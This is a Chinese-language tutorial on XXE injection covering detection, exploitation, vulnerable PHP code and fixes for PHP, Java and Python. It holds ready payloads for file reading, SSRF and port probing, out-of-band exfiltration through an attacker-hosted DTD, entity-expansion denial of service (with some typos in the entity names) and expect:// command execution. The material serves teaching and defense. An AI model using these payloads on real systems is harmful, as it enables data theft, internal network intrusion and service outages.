xxe外部实体注入

我眼中的xxe

XXE外部实体注入

漏洞原理详细介绍

在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取敏感文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。

前置知识

xml基础知识

这个漏洞可能会出现在什么地方?

XML的功能就是传输和存储数据,在业务中通常是用于传输数据

常见的有提交数据的地方,如登录数据信息就有可能是用XML的格式提交,以及一切可以解析XML的地方(包括上传文件也有可能解析xml),具体就要看开发者怎么做了

怎么检测漏洞?

  1. DNS外带
  2. 通过返回的错误信息判断,如果返回的是文件不存在的信息,说明存在XXE

利用条件是什么?

  1. 没有禁止引用外部实体,PHP中libxml 2.9.0开始(大概相当于php5.5),默认情况下禁用实体,libxml版本可以通过phpinfo获取
  2. 没有过滤关键字 ENTITY 、SYSTEM

怎么利用(无waf)?

http请求头:

Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
  1. 利用file协议读取文件,

    <!DOCTYPE root [ 
    <!ENTITY file SYSTEM "file:///etc/passwd" >
    ]>
    <root>
        <foo>&file;</foo>
    </root>
  2. 如果是PHP还可以用PHP伪协议读文件

    <!DOCTYPE root [ 
    <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=config.php" >
    ]>
    <root>
        <foo>&file;</foo>
    </root>
  3. 利用http协议进行端口探测是否关闭

    如果关闭会返回Connection refused,或者根据响应时间长短判断

    <!DOCTYPE root [ 
    <!ENTITY portscan SYSTEM "http://127.0.0.1:6379" >
    ]>
    <root>
        <foo>&portscan;</foo>
    </root>
  4. 利用HTTP协议进行SSRF攻击内网redis、struts2等服务

    <!DOCTYPE root [ 
    <!ENTITY ssrf SYSTEM "http://127.0.0.1:6379/info" >
    ]>
    <root>
        <foo>&ssrf;</foo>
    </root>
  5. 如果没有回显还可以外带

    首先在攻击者服务器创建一个恶意DTD文件evil.dtd

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;

    然后构造payload

    <!DOCTYPE data [
      <!ENTITY % file SYSTEM
      "file:///etc/lsb-release">
      <!ENTITY % dtd SYSTEM
      "http://<evil attacker hostname>:8000/evil.dtd">
      %dtd;
    ]>
    <data>&send;</data>

    建议用python或者php创建一个临时的web服务

    python3 -m http.server 8000

    python2 -m SimpleHTTPServer 8000

    php -S 127.0.0.1:8000

  6. 拒绝服务

    构造恶意的XML递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务

    <!DOCTYPE lolz [
    <!ENTITY lol "lol"> 
    <!ENTITY loll "&lol;&lol;&lol ;&lol ;&lol ;&lol;&lol;&loL;&lol;&lol;"> 
    <!ENTITY lol2 "&loll;&lol1;&loll;&lol1;&lol1;&loll;&lol1;&loll;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&loL4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5 ;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <xxeElement>hello&lol9;</xxeElement>
  7. 命令执行

    PHP要开启PECL上的Expect扩展

    <!DOCTYPE root [ 
    <!ENTITY rce SYSTEM "expect://id" >
    ]>
    <root>
        <foo>&rce;</foo>
    </root>

不同程序支持的协议

怎么过waf?

有待补充

漏洞代码

PHP相关函数与对象:

  1. simplexml_load_***()
  2. xml_parser***()
  3. XMLReader::***()
  4. DOMDocument::loadXML()

Java相关对象方法:

  1. DocumentBuilder::parse()
  2. SAXParser::parse()
  3. SAXReader::read()
  4. SAXBuilder::build()

示例PHP漏洞代码

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

怎么防御修复漏洞?

  1. 禁用外部实体

    PHP可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

    其它可以参考owasp的建议:

    https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

    PHP8使用libxml_set_external_entity_loader()来防止xxe,使用方法可以参考这里https://www.php.net/manual/zh/function.libxml-set-external-entity-loader.php

    • PHP

      libxml_disable_entity_loader(true);
    • JAVA

      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    • Python

      from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  2. 过滤用户提交的XML数据

    关键词:SYSTEM、PUBLIC、ENTITY

相关工具

burp插件Generic XXE Detector

练习靶场

各种语言的xxe靶场xxe-lab https://github.com/c0ny1/xxe-lab

PHPxxe靶场bWAPP https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download

漏洞现状

由于PHP版本从5.5开始默认禁用外部实体,所以PHP中XXE基本上是绝迹了

Java中XXE依旧活跃

参考

https://xz.aliyun.com/t/3357

https://xz.aliyun.com/t/6502

https://security.tencent.com/index.php/blog/msg/69

https://www.cnblogs.com/likwo/archive/2011/08/24/2151793.html

https://www.jianshu.com/p/ed0d6b96fd14